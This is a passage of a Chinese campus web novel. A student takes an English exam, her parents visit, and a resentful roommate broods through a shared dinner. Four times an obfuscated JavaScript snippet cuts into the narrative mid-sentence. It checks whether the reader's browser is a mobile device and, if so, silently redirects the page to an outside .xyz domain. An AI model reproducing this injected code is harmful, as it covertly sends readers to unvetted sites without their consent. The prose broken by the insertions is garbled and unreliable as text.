秦见夏表示:“对不起,伤害女生的事我做不到。” - 周六上午,伴随着窗外的鸟叫,只有秦见夏的手机闹钟发出了震动声。 她趴在枕头上,一秒钟内迅速按掉。 马上六月底,淮市的气温逐渐升高,秦见夏这两日每天睡醒,都是满头的汗。 浑身黏腻,汗浸在头皮的每一个缝隙,使她起床气愈发严重。 陈文欣大一时,就说她在上铺觉得空调太冷,吹不了一晚上,必须定时到半夜关。 其他三人都猜测她是舍不得空调费,刚好她们都比较怕热,就提议由她们三人平摊空调费,不需要陈文欣出钱,只有一个条件,就是要按照她们的意愿使用空调,比如——每天空调开一整晚。 但陈文欣觉得自尊受辱,相当不情愿。 那只好她们妥协。 于是大家就热了三年。 好在A大不像隔壁G大,每年寒暑假放得比较早,一学期基本只需要熬一个来月就各回各家了,勉强能忍。 其他室友都考下午的六级,寝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669830|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室内一片昏沉。 秦见夏凭借顽强的意志力,强迫自己坐起来、戴上眼镜。 她放轻动作地拉开床帘,隐隐能透过外面的阳光,看出宿舍牛油果绿色窗帘的布料纹路。 在她第十九次出现弃考继续睡觉的念头,又在第二十次思考自己究竟需不需要这个CET4证书后,秦见夏抬起手机一看时间,快来不及了。 她顿时清醒过来,轻手轻脚地洗漱完,抓起书桌上自己考试专用的笔袋和听力耳机,一路狂奔到宿舍楼下,骑上车,飞快地赶去教学南楼A座A109。 来不及欣赏学校早晨阳光明媚的美景,路上只有零星几个和她一样赶时间的校友。 好在她有电动车~ 秦见夏又第一百零八次感叹,这车买得太对了。 虽然是踩点到的,但至少没迟到——还好上周和苏织一起去西门对面买水果捞,顺便同她一起打印了准考证,并且在当晚随手放进了考试笔袋里。 不然,以她的记性,铁定会在今早才想起来打印准考证这回事。 签到时,秦见夏仔细看了下前前后后的学号,同考场的貌似都是学弟学妹,她可能是年龄最大的四级考生…… A大很少有考不过四级的学生。 这个猜测让她羞耻了0.1秒,很快就自我调理好了,反正她们院毕业没有四级要求,过不过无所谓。 先考作文,秦见夏以退化到初中的英语水平,用备战高考时练过的衡市体,写满了作文纸。 写得怎么样不太清楚,但卷面她很满意。 这回也不认真做听力了,反正每次仔细听出来的,分数也不高。 她直接三分钟随便涂完,然后戴着耳机悠哉地切换别的频道,听歌到十点零五。 第一张答题卡收走后,秦见夏再度速涂剩下的选择题。 不想空题,翻译倒是老老实实地做了一遍。 全部答完时,也才十点四十,她立刻倒头就睡。 阶梯教室的桌椅板凳,没有一个舒服,折叠凳坐得她屁股生疼,期间还被好心的监考老师叫了两次,搞得她十分尴尬。 唯一庆幸的是,这次考场在教学南楼,并且是一楼的教室,不用再像上次那样,考完被堵在楼里二十分钟。 A大考试屏蔽仪的威力很大,秦见夏开机后,把手机装进口袋里,骑车到枚园楼下准备打开乐跑,结果又重启了一遍才有信号。 没想到,首先弹出来的,是妈妈的消息。 亲亲妈咪:「闺女,妈妈和爸爸一会就到你们学校了,考试辛苦啦,中午妈妈请宝宝吃饭哦/憨笑/亲亲」 亲亲妈咪:「图片」 照片上,是两杯马伍旺奶茶和一大袋茉莉花的糕点,还有她最喜欢吃的、新街口那家的鸡蛋汉堡。 秦见夏:「妈,可我是裸考,没有好好考/流泪」 亲亲妈咪:「那也辛苦了啊我们夏夏。」 亲亲妈咪:「闺女你从小就没离开过爸妈,一个人在外地上学就很辛苦了,爸妈都很心疼你。」 亲亲妈咪:「从小到大都教育你不要太看重成绩,爸妈学习都一般,我们宝宝已经很厉害了/亲亲」 秦见夏现在真有点想落泪。 20. 聚个餐 秦见夏:「什么!妈咪你们来看我了?」 秦见夏:「好的妈妈,妈咪我爱你TT」 亲亲妈咪:「记得叫上你室友们一起来。」 秦见夏即将喷涌而出的眼泪,又瞬间收了回去。 她边往宿舍楼走,边打字道:「啊……可是有个室友很讨厌诶」 亲亲妈咪:「那更要请了,指不定看在这顿饭的面子上,以后她就不会为难我们夏夏了。」 亲亲妈咪:「不过闺女出门在外还是尽量不要与人发生争执,妈妈看了那个投毒案,心里很害怕嘞。」 亲亲妈咪:「还好下半年就没多少课了吧?没课了就回家住,反正咱们家离南站近,高铁半小时就到淮市了,你在家里妈妈爸爸还放心点哦/流泪」 秦见夏没心没肺地回:「没事妈,你不是给我买保险了?万一我被投毒你们可以得到很多钱」 亲亲妈咪:「你这孩子没事乱说什么胡话!」 亲亲妈咪:「在爸妈心里,夏夏比多少钱都珍贵。」 亲亲妈咪:「马上到你们学校南门了,你过来接我们吧。」 秦见夏回了句「好的」,然后收起手机,飞快跑回宿舍,准备拿几个口罩,一会带爸妈混进学校。 寝室里,只有苏织一人刚悠悠转醒,瞧秦见夏回来,她从上铺床帘里探出头来,热情地打招呼:“你回来啦~” 秦见夏火急火燎地放下书包,一边在书桌底下翻找口罩,一边问:“她俩呢?” “陈文欣去考六级了,估计吃完饭就直接去考场了吧,”苏织懒洋洋地打了个哈欠,“喜喜今天应该有学生会活动。” 秦见夏停住动作,回头问她:“你没跟陈文欣一起吗?你不是也报了六级?” 苏织戴上眼镜,十分洒脱:“我要弃考。” “反正也没准备,不考了,”她倚在床头,无所谓地抱起iPad,“有这时间不如多看两集动漫。” “你太牛了,膜拜,”秦见夏向她抱了个拳,又道,“我爸妈来学校看我了,本来说要请你们吃午饭的,那看这情况……还是改成晚饭吧?” “行,”苏织又打了个哈欠,“刚好,我下午洗个澡收拾一下。” 秦见夏找到口罩,又飞速出门去接爸妈,她一边往楼下走,一边在宿舍群里发消息—— 「@所有人,宝宝们,我爸妈来学校看我啦,他俩说要请咱们吃饭。晚上六点左右,不知道各位有没有时间,来西门对面张家食府聚个餐?」 「卖萌表情包」 陈文欣秒回好的,林喜也随后回复有时间。 秦见夏:「那17:50我们枚园楼下见?」 陈文欣&苏织&林喜:「ok」 秦见夏将手机揣进口袋,拧下车钥匙,准备去南门接爸妈。 A大唯一的地铁站在南门,但南门离她们枚园宿舍楼相当远,骑电动车都要十分钟。 秦见夏到达南门的时候,透过大门栅栏,瞧见爸妈已经在学校门口拍上打卡照了。 她汗颜地把车骑出校门,在闸机刷脸时,下意识瞥了瞥保安室里的门卫,难免有些心虚。 秦见夏的爸爸秦国海视力好,首先认出女儿骑车出来,他正想大声打招呼,却被秦见夏立即制止。 她用左手食指在嘴唇上比划“嘘”的手势,然后骑过来找路边空地停车。 “哦呦——丫头呀,我跟你讲,单手骑车蛮危险的噢!吓人巴拉滴……” 秦国海手上提着大包小包,担忧地叮咛着。 “啊呀,晓得啦晓得啦。” 秦见夏将车靠边停好,拔下钥匙,赶忙上前解释:“爸妈,一会我要偷偷带你们进学校,咱们动静小点,别被那边保安发现了。” 她回头,指了指远处的安保室。 “哦这样子啊,”秦国海问,“不能找老师申请进校吗?” 妈妈赵霞也担忧地拉住她的手:“对啊,实在不行我们在校外随便逛逛就行,万一要是被抓到……会不会影响你啊乖宝?” “其实——是因为辅导员对我印象不好,我不想去求她审批……”秦见夏无奈地垂下头,“而且审批要等很久,还不如我带你们直接混进去。” “爸,妈,没得事,你们放心,我骑电动车分别刷脸带你们进去,中间隔一会,现在人多,保安不会发现的!反正后座的不用刷脸,大家都这么带人进去……”秦见夏接过秦国海手里的袋子,放进车筐里,回头瞧他们一脸担忧,又大咧咧道,“干么事啊?不相信我?” 赵霞只是红着眼走来,心酸地理了理女儿的头发:“我闺女受苦了……” 秦见夏忍不住扑进她怀里,鼻尖一涩:“妈——” 赵霞的心里,像打翻了调料罐一样难过。 女儿如她所愿地独当一面了,可当妈的却并不好受。 不善言辞的秦国海忍住泪意翻涌,攥着拳道:“丫头,都怪老爸没本事,要是能像别的家长那样,送你出国读书就好了……” 秦见夏的初中读的是四大名校,好多同学家长都送小孩出国读书了,自己的丫头却在这破地方活受罪。 班主任(辅导员)嘛二五郎当滴犯嫌,宿舍还有个甩货蛮夹生。 秦国海越琢磨越觉得,还是自己年轻的时候不够努力。 “国外不是更乱吗!”赵霞白他一眼,温柔地给秦见夏擦着眼泪,转移话题道,“好啦好啦不说这些了,好在还有一个月就放暑假了对不对?咱们马上就熬出头了!夏夏先带爸妈逛逛学校好不好?我们还是第一次来你学校呢。” “是的嘛,怎么突然变成苦情剧了,甩得不得了。” 秦见夏也很快恢复好状态,从口袋里掏出口罩,分发给父母,然后伸出双臂,向他们展示自己的爱驹:“噔噔——这就是我的‘玛莎拉蒂’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669831|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “怎么样?”秦见夏扬了扬下巴,“来斯不?” 赵霞边戴口罩边嗔怪地瞪她一眼,秦国海则相当捧场:“乖乖隆地咚——摆得一米嘛!” “老爸,我先带我妈进去,等会出来接你哦~” 秦见夏给秦国海交代完,驮着赵霞顺利混进了学校。 此时正值饭点,又恰逢周六,校内校外人来人往,保安也在吃饭,秦见夏成功将父母全部带了进来。 秦国海从电动车后座踉跄起身,老土地比了个大拇指,感叹:“哦滴乖乖——我们丫头真是冰雪聪明!” 此举引得人行道上的同学纷纷侧目。 秦见夏握着车把,用腿支住车身,汗颜地指向南门小广场对面的深绿色棚子:“刚好,我现在把车放到那边充会电,要不然你们先在这里等我?” “我和你爸闲着也是闲着,一起去呗,”赵霞笑得十分灿烂,“反正是来逛学校的,正好带我们参观参观。” 有时候真要感叹她是“女宝妈”。 于是,她的父母就跟在缓慢骑行的秦见夏身后,一路走一路感叹—— “夏夏,你们学校的树可真多!环境挺好!” “丫头,A大这建筑还蛮宏伟的,真来斯诶!” “闺女——那边那个‘我aiA大’的红色牌子是什么意思啊?” “那其实是人工智能学院,因为ai等于‘爱’,学校就搞了个这种谐音梗……” “……” 周末白天大家都出去玩了,充电桩有不少空位。 秦见夏扫码给车充上电后,安心地带着爸妈,一路自南门沿着学校的人工湖南湖往主干道走,又从法学院旁边的小路穿到紧挨东门的艺术楼。 三人都走得大汗淋漓。 秦见夏介绍道:“这就是我们学校的主路,图书馆、各个教学楼、各个宿舍园区,基本都从这条路往两边延伸……喏,这里就是我们艺术楼,旁边是东门,这个门基本都是教职工走的……” 赵霞打开手机,给秦见夏看她的微信步数,气喘吁吁道:“夏夏,妈终于知道,你为啥一定要买个电动车了,你们学校是真大啊……” 秦国海则故作淡定地擦着汗:“哦呦,都说了,让你周末没事干跟我去玄武湖遛遛弯,你看我嘛,就一点都不喘。” 赵霞挽着女儿的胳膊,回头翻他个白眼。 正好走到艺术楼下,秦见夏提议,带他们去教室里瞧瞧。 赵霞望着艺术楼前的几十级台阶,感叹一句:“你们这艺术的门槛还挺高。” “那是自然,”秦见夏边爬台阶边说,“去年冬天太冷,台阶上还结了冰,我差点摔死在艺术楼前呢——” “嘿你这孩子!”赵霞打断她,略微生气地拍了拍秦见夏的后背,“给我呸呸呸,不要总是说这些不吉利的!” “还有——不要驼背!” 21. 公平吗 秦见夏:“……” 艺术学院一层楼梯口有自动贩卖机,秦见夏给父母买了两瓶水。 随即带爸妈去二楼,参观了一圈潦草的展区和教室,满意地听到他们吐槽“怎么教室里这么烂?木板凳上的钉子不扎屁股吗”后,领着他们出来,往不远处的瑰园食堂走。 太阳毒辣,秦见夏没带遮阳伞,只能用手掌遮住脸,随走随说:“A大分别有枚园、瑰园两个南区食堂,橘园、留园两个北区食堂,还有一个研究生的茴园食堂和一个新生的杏园食堂。” “我觉得瑰园大酒店的饭最好吃,刚好离这里和我宿舍很近,我就带你们去瑰园吃,刚好让你们看看带电梯的食堂……” 秦国海一直边走边给精装打扮的赵霞拍照,一路拍得手机都没电了。 瑰园食堂离艺术楼不远,抄近道穿过一条马路,基本就到了。 秦见夏带父母从食堂后门进,逛了一圈又绕到正门,领他们坐了只能通往二楼的室外扶梯,最后还是决定请他们去吃三楼的舌尖大师。 ——本来秦见夏提议吃特色地锅鸡的,但父母知道她不爱吃带骨头的鸡肉,就纷纷拒绝了。 赵霞和秦见夏口味一致,反正老妈吃得很开心,还感叹她们学校这伙食倒是不赖。 秦国海把从南城带来的奶茶和吃食交给秦见夏,让她先拿回宿舍,他俩说先去图书馆和情人坑那边逛逛。 秦见夏走出食堂后,不放心地多交代了几句,叮嘱他们迷路了就往这片最高的建筑走,那就是图书馆,认准图书馆就走不丢,再不济就问路边同学,他们绝对会帮忙指路。 赵霞&秦国海:“我们又不是没有手机和导航……” 他们说完就兴致勃勃地和她分道扬镳。 秦见夏则三步一回头地拎着父母给她带的东西回了宿舍。 苏织八成是去了澡堂,秦见夏将奶茶和茉莉花的点心袋放下,然后在空无一人的宿舍里,打开了另一个纸袋。 纸袋里装着不久前给妈妈提过的画本,以及她爱吃的车厘子,和妈妈亲手炸的藕盒。 秦见夏又有了流泪的冲动。 她一边感叹她现在泪窝子变浅了,一边庆幸自己已经足够幸运。 有无条件爱她的爸爸妈妈作为后盾,那她的世界里,也不存在什么天大的困难。 从小到大,父母都对她没有任何要求,最大的愿望就是她能够平安健康、天天开心。 所以,秦见夏的学生时代,其实过得很快乐。 有开明的父母、友善的同学和不叫家长的老师,每天最大的烦恼就是如何在家长眼皮子底下吃垃圾食品。 然而,一个人一生的喜和忧,应该是要遵循能量守恒定律的。 未成年过得安逸,成年后就得进社会吃苦。 秦见夏觉得,对她而言,大学这个小社会已是一场毒打。 此时响起门把手转动的声音,秦见夏匆忙将画本塞进书包,一扭头与林喜和苏织对上视线,她暗暗松了口气。 秦见夏当即换上喜悦的神态,热情地与室友们分享了家长带来的南城糕点和车厘子。 还把陈文欣的那份,垫着餐巾纸,轻轻放在她的桌面上。至于炸藕盒,她说明天用楼下微波炉热一热,再给她们分。 忙活完,秦见夏又扎开奶茶,嘬了两口,才换上小斜跨包,装好充电宝,下楼找爸妈。 父母决定晚上吃完饭就买票回南城,于是她下午就带着父母,在A大东门对面的玛瑙湖逛了逛。 爸妈问:“为什么不带我们去淮市热门景点转转?” 秦见夏:“我做了三年文创,我太了解淮市,这个地方根本没有任何好玩的景点!” 而且景点都离学校太远…… 临近五点时,秦见夏给张家食府打电话订了个包间,然后先带爸妈过去休息。 赵霞走到主位坐下,瞧秦见夏对于订包间这种事竟然做得如此熟悉,不像在家里那样衣来伸手饭来张口,不由得叹息一声,对秦国海感叹—— “咱闺女真的长大了。” - 陈文欣考完六级刚出来,才给手机开机,就看到宿舍群里秦见夏发的消息—— 勤捡虾球:「家人们~那我们先在枚园宿舍楼下集合,然后一起去西门的张家食府吧,我爸爸妈妈直接在包间里等我们~」 形形色色的人,从陈文欣身旁匆匆掠过,徒留一道道灰色的残影。 他们身上有着眼熟的潮牌logo,他们手里拿着三个摄像头的苹果手机,他们脚上穿着价值不菲的鞋子…… 他们三五成群,脸上通通挂着肆意的笑容。 身边又传来一阵喧闹,莫名使人如芒刺背。 陈文欣下意识低头,攥紧书包肩带,慢吞吞地随着人群往外涌,任由齐耳短发将自己的神色淹没。 视线回到刚刚那条,字里行间都洋溢着活力和优越感味的微信消息。 陈文欣其实不太想去的。 她实在厌恶秦见夏,她觉得秦见夏实在是太装了。 秦见夏明明是苏省独生女,用着苹果全家桶,却在宿舍里轻松地翘着二郎腿,笑着说她每月生活费一千五,骗鬼呢? 她分明就是为了融入集体! 秦见夏这类人,太懂如何拉帮结派。 她是那种—— 永远在集体里和所有人都能打成一片的佼佼者。 她或许不是班级里最漂亮的那个,但一定是最受欢迎的,估计连老师们都会喜欢她。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669832|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且,陈文欣看得出来,秦见夏瞧不起她。 其实秦见夏没有真正意义上地嘲讽过她。 相反,她的脾气远没有陈文欣想象中那样盛气凌人。 秦见夏再不爽,也只是臭着脸塞着AirPods无视她。 但是,秦见夏的身上,常常有意无意地,透漏出一种说不清道不明的优越感。 大一时,秦见夏得知陈文欣从未网购过,那种疑惑震惊的神情,令她此生难忘。 秦见夏的每一个毛孔,都散发着对她的蔑视。 如果秦见夏得知,她是因为家住农村,快递只能送到镇上的菜鸟驿站,要骑半个小时的三轮车才能取来,所以从不网购。 她可能会更加鄙夷她。 秦见夏还说她去做兼职,但陈文欣心里门清,她怎么可能是真的缺钱? 时薪十几块的奶茶店兼职,对于秦见夏这种人来说,只是体验生活的游戏罢了。 后来,她果然干了两天就不干了。 但陈文欣乃至她家里,是真的很需要这区区小钱。 大一的陈文欣刚做完双眼皮,每晚在宿舍里涂药时,秦见夏都频频问她,伤口疼不疼。 她还说她的眼睛是内双,也计划做双眼皮,想向她取取经。 然而在陈文欣看来,秦见夏是在炫耀她的眼睛天生丽质。 秦见夏的眼睛,随便贴两下双眼皮贴就能变成欧式大双,她却只能开刀剪皮才能获得别人与生俱来的几毫米肉。 公平吗? 那每晚都刺痛的眼皮,秦见夏怎么会懂? 后来,陈文欣终于能扬眉吐气地对室友们说,自己上大学后顺利减肥五十斤。 秦见夏居然一副相当佩服她的样子,还假惺惺地请教减肥教程。 她知道,秦见夏是装的。 她肯定、绝对,在心里嘲笑过她无数次——陈文欣这个死胖子! 除了陈文欣之外,三个室友的体重都没有超过一百斤的,她们怎么可能体会到她的痛苦? 她们有被高中同学嘲笑过整整三年吗?她们有被班里男生调侃过坦克吗?她们有被女生们抱团排挤过吗? 她们的书包,有被故意扔到男厕所过吗?她们的家长,会从小到大都嫌弃她们相貌丑陋吗? 她们没有! 秦见夏居然还虚伪地赞美她。 简直是、装模、作样! 太阳的温度渗不透她分毫。 陈文欣站在烈日下,忌恨地透过裂缝的手机屏幕,窥视那条消息。 不愿受这嗟来之食。 但正如无数次接下秦见夏递来的水果和零食那般—— 陈文欣迅速在群里回复了好的。 她需要省下这十块钱伙食费。 22. 不自在 陈文欣走到距离枚园的最后一棵树时,室友们已经在宿舍楼下等着了。 她们聚在一起谈笑风生,欢快的神情有些刺眼。 陈文欣看到秦见夏站在树旁,亭亭玉立。 她双手随意插着兜,轻松地与女生们开着恰到好处、却能逗乐所有人的玩笑。 落日余晖洒在她光洁的侧脸,那是秦见夏与生俱来的恣意明媚。 秦见夏平日里穿着随意,颇有些不拘小节。 一头蓬勃的栗色长发,随便用抓夹拢住,偶尔会从后脑勺的发包里,漏出一缕灵巧的发尾。 但她丝毫不在意。 不像她那般,要时刻确保自己的头发平顺整齐、一丝不苟。 陈文欣不禁将自己与秦见夏作对比。 秦见夏的衣服也是宿舍里最多的。 即便她有一衣柜的各式服饰,却仍然偏爱拼夕夕买的那几件休闲装。 据她说,其它略微正式的衣服,是她妈妈上大学时剩下的,让她继承了。 除此之外,她父母还额外给她置办了许多新的正装。 她偏偏酷爱穿不同颜色的阔腿裤和卫衣,踩着双校园里流行的洞洞鞋,整日素面朝天地去上课,只有做汇报时,才会涂裸色唇釉。 可即便平日穿衣打扮如此朴素,秦见夏也仿佛在闪闪发光,衬得陈文欣愈发黯淡。 她自由得像一阵风,似乎刮到哪里也不曾胆怯,总是能迅速与任何人玩成一片。 她所在的地方,永远充满欢声笑语,将陈文欣凸显得更加格格不入。 不知从何时起,秦见夏不再对她展露那种毫不设防的笑容,与她说话也只挂着疏离的微笑。 陈文欣觉得,秦见夏一定在瞧不起她。 她忍不住想—— 如果她也能拥有名牌鞋、名牌包、苹果全家桶,秦见夏还会如此看待她吗? 陈文欣神态拘谨地挪步过去,努力提起情绪和大家打招呼,尾音却向下掉:“嗨…” “欣欣你来得正好——人齐了!咱们走吧!” 秦见夏热情地对她笑了笑,令陈文欣更加不自在。 林喜和苏织却熟络地同秦见夏聊着天—— “叔叔阿姨是怎么来的?” “坐高铁。南城离淮市很近,大概半个小时就到了。” “叔叔阿姨什么时候走啊?是打算多玩两天还是?” “吃完饭就走了,他们主要是来给我送点东西,顺便逛逛学校。” “……” 陈文欣落在最后,双手拼命攥住书包带,脑中一片空白。 她不知道该说什么客套话,但为了合群,还是上前两步,插话道:“我们今天吃什么啊?” 秦见夏闻言,扭头认真回答她:“就是家常菜……我们社团上次在张家食府聚餐,我觉得味道还不错,今天刚好人多,咱们可以多点几个菜尝尝。” A大小吃街在学校西门对面,想过马路只能走人行天桥。 此时恰逢饭点,学生们都三三两两、成群结队地爬着台阶。 陈文欣依旧跟在最后,背着普通且老旧的黑色大书包,头颅低垂、驼背塌腰,任凭齐耳短发挡住她的神情。 她还穿着高中时母亲在集上给她买的紧腿弹力裤。 随着年龄的增长,这条黑色裤子也越洗越缩,现在甚至能露出小腿,使她的肥胖纹一览无遗。 她低头看向自己洗得发黄的白色板鞋,想起秦见夏扔掉的那双刚到货的休闲鞋。 那时秦见夏无所谓地说:“穿着太丑了,反正才十九块九,懒得退,扔了得了。” 陈文欣不由得想着,她的世界里好像不存在美与丑的分别,只需要判断是否实用。 她又在自己的世界里沉浸了一会,转眼间,已驻足在狭窄的楼梯口。 陈文欣抬头,看到了张家食府的牌匾。 一楼是散客堂食,她透过落地玻璃窗打量一眼,在心中推测,这家约莫是这条街上数一数二的饭店。 秦见夏她们社团团建,居然是在这种地方吗? 陈文欣虽然加入了动漫社,却从未参加过团建。现在想想,还好没参加,估计团建一次,得吃掉她七八顿伙食费。 她跟在室友们身后上楼,步伐缓慢,听到最前方传来秦见夏落落大方的声音:“姐姐您好,请问‘诚实慎行’包间在哪里?” 服务员礼貌道:“请随我来。” 餐厅整体是中式风格,木门被推开后,主位的两个中年人立刻起身相迎。 陈文欣知道,这是秦见夏的父母。 秦见夏的母亲身着淡青色中式旗袍,披肩是一层样式简单的薄纱。女人气质和蔼,化着得体的淡妆,青绿色眼影与旗袍相得益彰。长发乌黑,被扎成简单的辫子,与衣服搭配。 说她妈妈三十五岁她都信。 秦见夏的父亲也是一身休闲的中山装,身姿挺拔,面容英俊硬朗。 她父母的体态都相当好,尤其是秦见夏的妈妈,脊背挺直,气质出尘。 年轻时,大概也是时髦明媚的摩登女郎。 室友们先一步开口打招呼—— “叔叔阿姨好,没想到二位这么年轻哪!”林喜是山省人,客套话张口就来,语气相当热情大方,“说二位是学长学姐我都信!” 苏织家里是体制内的,对于这种场面也驾轻就熟:“让叔叔阿姨久等了,我们收拾打扮晚了一会儿,希望二位见谅啊,哈哈!” 陈文欣似乎是第一次真正见到两位室友的这一面,仿佛置身于过年的会客场面,使她一时难以反应。 她从二人身上收回视线,面对秦见夏父母的笑容,无措地张了张嘴,脑中思绪万千,最终只红着脸说了句:“叔叔阿姨好。” 还是林喜主动帮她说话:“叔叔阿姨,我们这个室友比较社恐,哈哈哈……二位快请坐,咱们别站着了。” “对呀,”秦见夏也道,“快坐吧,我都饿了。” 秦见夏的父母热忱地看向孩子们:“哎呀,客套什么,既然是夏夏的室友,那咱们就是一家人,一家人不用这么客气……” 陈文欣行尸走肉般坐在最外侧,目光不受控制地,落在秦见夏和她身旁的这对中年夫妇身上,脑中不由自主地将他们与自己的父母作对比。 陈文欣的母亲是家庭主妇,平日里经常下地干农活,一双手满是老茧和冻疮,头发形如枯草,更别说化妆了。 她的父亲是村子附近工厂的日结工人,衣服从没有干净时候,整天像乞丐一般。 由于每天都在干重活,他们佝偻的背从未如此挺直过,也从未有过这样光鲜亮丽的状态,苍老得仿佛六七十岁。 原来,自己和同学的父母竟有如此大的差异。 陈文欣的心中五味杂陈。 耳畔传来几人热聊的声音—— “阿姨这衣服真好看,挺有设计感的,不愧是艺术生的妈妈啊,哈哈哈!”林喜一如既往地会来事。 “哪里哪里!”秦见夏的妈妈赵霞听后,笑得合不拢嘴。 秦见夏将胳膊支在桌子上,臭屁地开起玩笑:“那可不——我妈年轻的时候也是叱咤风云,在广市当服装设计师,俺们家一脉相承呢~” 苏织:“哇,这么厉害!” 这一幕落在陈文欣眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669833|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,又觉得秦见夏在炫耀。 赵霞察觉到女儿那个短头发室友情绪不对,连忙朝秦见夏使眼色,讲起自己的经历:“没有没有,我生了夏夏之后,只在广市工作了几年,后来实体经济不行了,流行快消服装和网购,我们这行也就渐渐没落了。” “夏夏初中的时候,我实在想陪在她身边,就回南城开了几年服装店,前两年不是疫情吗,也早倒闭了。” 秦见夏冲室友们做了个鬼脸,见服务员送了茶水进来,主动起身为大家倒茶:“现在我妈已经沦落到在小区开托管班了。” 赵霞拍她一下,嗔道:“什么叫沦落啊!妈就喜欢带小孩,小时候没时间带你,现在刚好带别的小孩回味一下。” 林喜好奇地问:“那叔叔是干什么工作的呀?我看叔叔也气度不凡。” 秦国海刚想开口,秦见夏替他答:“我爸年轻的时候在外企上班,估计是不太会巴结人,三十五就被优化了,现在只能给领导当司机。” “我家三口一脉相承地吃尽时代黑利,”秦见夏叹息,“现在我又学设计,结果今年AI突飞猛进,市场也基本饱和了,咱真是前途未卜啊……” 林喜和苏织听后,也双双叹气,林喜又打趣道:“考公务员吧,学学我们山省人,宇宙的尽头是编制。” 几人聊得十分热闹,赵霞突然想起还没点菜,连忙说:“别光顾着聊了,你们拿手机扫码点菜吧,看看想吃什么,随便点,阿姨请客!” 秦见夏偏头问服务员:“我记得你们家菜量大,您看我们六个人点几个菜合适?” 服务员:“五个菜,再加个主食差不多了。” 秦见夏想了想,对室友们说:“那咱们一人点一道想吃的菜吧,再加个汤,等会不够再点。” 秦见夏点了她上次喜欢吃的浇汁锅巴,苏织点了日本豆腐,林喜选了干锅花菜,陈文欣等到最后才选。 她手机上能看到所有人点的菜,在心里暗暗比对价格后,挑了一份最贵的香辣虾。 反正是别人请客,能多沾点便宜就是赚到。 秦见夏随后加了个大家都能喝的蔬菜羹,又点了两种主食,说:“那咱们先点这些,我刚才把古茗的链接发在群里了,今天我再请大家喝个奶茶,古茗就在旁边,一会我下去取……” 这家餐厅上菜迅速,四菜一汤很快就全部上齐。林喜和苏织也是第一次来,见状不由得感叹:“这菜量确实大。” 就几道菜,直接给大圆桌占满了。 “我说吧,”秦见夏得意地拱了拱鼻子,“上次我们就点多了,一道菜都没吃完……这家真的特别好吃,你们快尝尝!” 另外五人全程边吃边聊,其乐融融,陈文欣则一言不发地闷头夹着荤菜。 耳旁是她们热闹的声音,佳肴吃进嘴里有些食之无味。 这顿饭局总算结束,秦见夏说要送父母去高铁站,陈文欣和其他两位室友便先行告别。 回去的路上,林喜和苏织还在讨论秦见夏的父母—— “这么一看,夏夏和她妈妈比较像。” “她爸爸还挺帅的!我爸早都发福了,她爸居然没有啤酒肚?” “你别说,这里的方言和南城话比起来,还是南城话好听一点,她爸偶尔说两句方言,像十三钗里的调调。” “我倒是听不出来有啥区别。” “……” “你们还没说够?” 陈文欣恶劣的语气冷不丁横亘在三人之间,使得苏织和林喜顿时噤若寒蝉。 她似是忍无可忍。 秦见夏都走了她们还在这里说客套话,自己听了不恶心吗? 23. 像素点 气氛瞬间安静到窒息。 苏织和林喜纷纷一怔,滞住脚步,面面相觑地不敢说话。 天桥上,行人川流不息,桥下车水马龙,一阵鸣笛声呼啸而过。 陈文欣面无表情地瞥她们一眼,绷着脸,越过两人快步离开。 苏织和林喜仍然停在原地,她们望向陈文欣远去的背影,异口同声地问—— “她咋了?” 又同时答:“不知道啊。” 苏织推了推眼镜,十分心宽:“那刚好,咱去丫丫水果店买西瓜吧。” “行,反正欣欣走了,”林喜当即转身往回走,“我刚才吃完饭,就想直接去买水果的,但是欣欣在,我不好意思开口。” “就是!” “每回咱们去买东西,她都啥也不买,直楞楞地杵在那儿,搞得人怪尴尬的,”苏织喋喋不休地吐槽,“她不管买什么都先喊叫‘太贵了’,然后就说她家水果多便宜,学校旁边水果多贵……” 